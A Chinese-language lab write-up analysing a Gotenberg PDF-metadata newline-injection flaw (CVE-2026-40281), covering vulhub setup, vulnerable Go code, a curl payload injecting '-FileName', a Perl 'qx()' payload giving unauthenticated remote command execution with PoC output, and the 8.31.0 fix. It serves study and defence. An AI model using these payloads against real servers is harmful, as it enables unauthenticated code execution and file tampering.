Gotenberg 是一个基于 Docker 的无状态 API 服务,广泛用于将 Office 文档、HTML、Markdown 等格式转换为 PDF。它的 PDF 元数据读写功能通过命令行工具 ExifTool 实现,而这个接口中的一个"值未过滤换行符"的疏漏,让攻击者可以把任意参数注入到 ExifTool 的命令行中,最终借助 ExifTool 的 Perl 表达式特性实现 RCE。
值得注意的是,这并非该接口的第一个漏洞:早前的 CVE-2026-42589 是元数据键名(key)注入,8.30.1 版本为此加入了危险 tag 名过滤;而本漏洞(CVE-2026-40281)则是元数据值(value)中的换行符注入,恰好绕过了上一轮针对键名的修复。
使用 vulhub 环境(Gotenberg 8.30.1):
git clone 后进入 gotenberg/CVE-2026-40281 目录
docker compose up -d服务启动后访问 http://127.0.0.1:3000/health,返回 "status":"up" 即就绪:
{"status":"up","details":{"chromium":{"status":"up","timestamp":"2026-10-08T12:55:16.236911374Z"},"libreoffice":{"status":"up","timestamp":"2026-10-08T12:55:16.236869832Z"}}}容器内的关键组件版本:
Gotenberg 8.30.1(Go 实现)
go-exiftool v1.10.0(Gotenberg 调用 ExifTool 所用的 Go 封装库)
ExifTool 13.25(Perl 5.40.1)
POST /forms/pdfengines/metadata/write 接收一个 PDF 文件和一个 metadata 表单字段(JSON 对象),把元数据写入 PDF 后返回处理过的文件。
路由定义在 pkg/modules/pdfengines/routes.go:1022:
// writeMetadataRoute returns an [api.Route] which can write metadata into PDFs.
func writeMetadataRoute(engine gotenberg.PdfEngine) api.Route {
return api.Route{
Method: http.MethodPost,
Path: "/forms/pdfengines/metadata/write",
IsMultipart: true,
Handler: func(c echo.Context) error {
ctx := c.Get("context").(*api.Context)
form := ctx.FormData()
metadata := FormDataPdfMetadata(form, true) // ① 解析 metadata JSON
var inputPaths []string
err := form.
MandatoryPaths([]string{".pdf"}, &inputPaths).
Validate()
...
err = WriteMetadataStub(ctx, engine, metadata, inputPaths) // ② 写入元数据
...
},
}
}FormDataPdfMetadata(routes.go:107)只是把 JSON 反序列化成 map[string]any,对键和值的内容没有任何校验:
func FormDataPdfMetadata(form *api.FormData, mandatory bool) map[string]any {
var metadata map[string]any
metadataFunc := func(value string) error {
if len(value) > 0 {
err := json.Unmarshal([]byte(value), &metadata)
...
}
return nil
}
...
}WriteMetadataStub 最终调用 ExifTool 引擎的 WriteMetadata,位于 pkg/modules/exiftool/exiftool.go:205。8.30.1 版本的实现里可以看到上一轮修复留下的防御——一个针对键名的黑名单过滤:
// Filter user-supplied metadata to prevent ExifTool pseudo-tags from
// triggering dangerous side effects like file renames, moves, or link
// creation. Comparison is case-insensitive because ExifTool processes
// tag names case-insensitively.
// See https://exiftool.org/TagNames/Extra.html.
dangerousTags := []string{
"FileName", // Writing this triggers a file rename in ExifTool
"Directory", // Writing this triggers a file move in ExifTool
"HardLink", // Writing this creates a hard link in ExifTool
"SymLink", // Writing this creates a symbolic link in ExifTool
}
for key := range metadata {
for _, tag := range dangerousTags {
if strings.EqualFold(key, tag) {
delete(metadata, key)
}
}
}
for key, value := range metadata {
switch val := value.(type) {
case string:
fileMetadata[0].SetString(key, val) // ← 值原样传入,未过滤换行符
...这段代码防住了 {"FileName":"..."} 这类直接把伪标签(pseudo-tag)当键名写入的攻击(即 CVE-2026-42589 的利用方式),但 SetString(key, val) 中的值 val 被原样传递——包括换行符 \n。这就是本漏洞的成因。
Gotenberg 通过 go-exiftool 库与 ExifTool 交互。这个库没有为每次写操作单独起进程,而是维持一个常驻的 ExifTool 进程,使用 ExifTool 的 argfiles 模式(exiftool.go:20):
var initArgs = []string{"-stay_open", "True", "-@", "-"}-@ - 的含义是"从 stdin 读取参数文件",每一行就是一个独立的命令行参数,-stay_open True 让进程读完一批参数后继续等待下一批。写入时(exiftool.go:214 的 WriteMetadata):
for k, v := range md.Fields {
switch v.(type) {
case nil:
fmt.Fprintln(e.stdin, "-"+k+"=")
default:
strTab, err := md.GetStrings(k)
...
for _, str := range strTab {
// TODO: support writing an empty string via '^='
fmt.Fprintln(e.stdin, "-"+k+"="+str) // ← 一个 "-Tag=值" 占一行
}
}
}
fmt.Fprintln(e.stdin, md.File) // 目标文件
fmt.Fprintln(e.stdin, executeArg) // "-execute":执行本批参数fmt.Fprintln(e.stdin, "-"+k+"="+str) 把 -Title=值 作为一个整体写入一行。如果 str 中含有 \n,这一个"逻辑参数"就会被拆成两行——也就是两个独立的 ExifTool 参数。
HTTP 请求 metadata={"Title":"test\n-FileName=/tmp/inject_proof"}
│
▼ json.Unmarshal(\n 转义还原为真实换行符)
map[string]any{"Title": "test\n-FileName=/tmp/inject_proof"}
│
▼ 键名黑名单检查:Title 不在黑名单 → 通过
│
▼ SetString("Title", "test\n-FileName=/tmp/inject_proof")
│
▼ fmt.Fprintln(stdin, "-Title=test\n-FileName=/tmp/inject_proof")
stdin 实际内容(两行 = 两个参数):
-Title=test
-FileName=/tmp/inject_proof ← 注入的参数
│
▼ ExifTool argfiles 协议逐行解释
exiftool ... -overwrite_original -Title=test -FileName=/tmp/inject_proof <PDF路径> -executeExifTool 收到 -FileName=/tmp/inject_proof 后,会把正在处理的 PDF 重命名/移动到该路径——这是 ExifTool 的官方特性(FileName 是可写的"文件系统伪标签"),却被攻击者用来操纵服务器文件。
先离线生成一个最小合法 PDF(poc.py 自带构建逻辑):
python poc.py -o test.pdf然后在 Title 值中注入换行符和 -FileName 参数:
curl -s -w '\nHTTP %{http_code}\n' \
-F 'files=@test.pdf;type=application/pdf' \
--form-string 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
http://127.0.0.1:3000/forms/pdfengines/metadata/write注意 curl 的 --form-string 会把字面量 \n(反斜杠 + n)原样发送,服务端 json.Unmarshal 将其还原为真实换行符。
漏洞版本的返回:
Not Found
HTTP 404返回 404 不是因为请求被拒绝,而是因为注入的 -FileName 参数已经把处理完的 PDF 移走了,Gotenberg 找不到输出文件。进入容器验证:
$ docker compose exec web ls -l /tmp/inject_proof
-rw-r--r-- 1 gotenberg gotenberg 3582 Oct 8 13:02 /tmp/inject_proof文件确实存在,参数注入成功:

单纯的参数注入已经能操纵文件(改名/移动/软硬链接),但要拿命令执行,需要请出 ExifTool 更危险的特性——Perl 表达式求值。
ExifTool 的 -TAG<值 语法表示"从表达式取值写入 TAG"(区别于 -TAG=值 的直接赋值)。其中支持"高级格式化"(advanced formatting)语法 ${TAG;表达式}:取 TAG 的当前值赋给 $_,执行分号后的任意 Perl 表达式,结果作为新值写回。qx() 是 Perl 的命令执行运算符(等价于反引号)。
于是构造 payload:
{"Title":"x\n-Title<${PDFVersion;$_=qx(id)}"}注入后 ExifTool 实际收到的参数:
-Title=x ← 正常参数,占位
-Title<${PDFVersion;$_=qx(id)} ← 注入参数第二个参数的执行逻辑:读取 PDFVersion 标签(任何合法 PDF 都有此标签,保证表达式被触发)→ 在 Perl 中执行 qx(id) → 命令输出覆盖 $_ → 写入 Title。命令的输出就这样被写进了 PDF 元数据。
而写入接口会在 HTTP 响应中返回处理后的 PDF,再把它提交给 /forms/pdfengines/metadata/read 读出 Title,即可拿到命令回显。poc.py 把这两步串了起来:
$ python poc.py -u http://127.0.0.1:3000 -c id
[*] Target: http://127.0.0.1:3000
[*] Command to execute on the target: id
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)
$ python poc.py -u http://127.0.0.1:3000 -c "whoami; hostname; uname -r"
[*] Target: http://127.0.0.1:3000
[*] Command to execute on the target: whoami; hostname; uname -r
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
gotenberg 6dc17a6e1c7c 6.18.40.1-microsoft-standard-WSL2命令以容器内的 gotenberg 用户(uid=1001,注意其附加组包含 root)身份执行,输出从返回 PDF 的 Title 元数据中完整回读——无需任何认证的远程代码执行:

除 -TAG<... 重定向语法外,ExifTool 的 -if 参数 同样会执行任意 Perl 表达式(本用于决定是否处理文件),表达式内使用 qx() 或 system() 也能达到同样效果。
8.31.0 的修复在 pkg/modules/exiftool/exiftool.go 中加入了三道防线,直击注入的根源——控制字符:
// safeKeyPattern matches legitimate ExifTool tag names: alphanumeric,
// hyphens, underscores, colons, and periods. Rejects control characters
// (especially \n) that would inject stdin arguments via go-exiftool's
// line-based protocol.
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
// validateMetadataValue rejects metadata values containing characters that
// could inject ExifTool stdin arguments. go-exiftool writes each key/value
// pair as a single line via fmt.Fprintln(stdin, "-"+k+"="+str), so a
// newline in the value splits into a second stdin line that ExifTool
// interprets as an additional argument. ... The same applies to carriage
// returns and NUL.
func validateMetadataValue(key, value string) error {
if strings.ContainsAny(value, "\n\r\x00") {
return fmt.Errorf("... invalid metadata value for key %q (contains control character): %w",
key, gotenberg.ErrPdfEngineMetadataValueNotSupported)
}
return nil
}写入路径上的每一处赋值都会调用校验:
for key, value := range metadata {
switch val := value.(type) {
case string:
if err = validateMetadataValue(key, val); err != nil { // ← 新增
...
return err
}
fileMetadata[0].SetString(key, val)
case []string:
for _, s := range val {
if err = validateMetadataValue(key, s); err != nil { // ← 新增
...键名则从"黑名单"升级为白名单(safeKeyPattern),只有字母、数字、-_.: 可以出现在键名中;同时黑名单补充了 FilePermissions(防 chmod),并在比较前剥离 ExifTool 的组名前缀(防止 System:FileName 绕过等价名比较)。
校验失败时错误包装了 gotenberg.ErrPdfEngineMetadataValueNotSupported,pkg/modules/api/middlewares.go:65 会把它映射为 HTTP 400,所以修复版本对同样的攻击载荷返回 400 Bad Request 而不是 404。
在 8.31.0 上重放同样的 payload,请求会在 validateMetadataValue 处被拒绝并返回 HTTP 400(错误信息提示至少一个 PDF 引擎无法处理该元数据),注入的换行符再也无法到达 go-exiftool 的 stdin。
本课程最终解释权归蚁景网安学院
本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动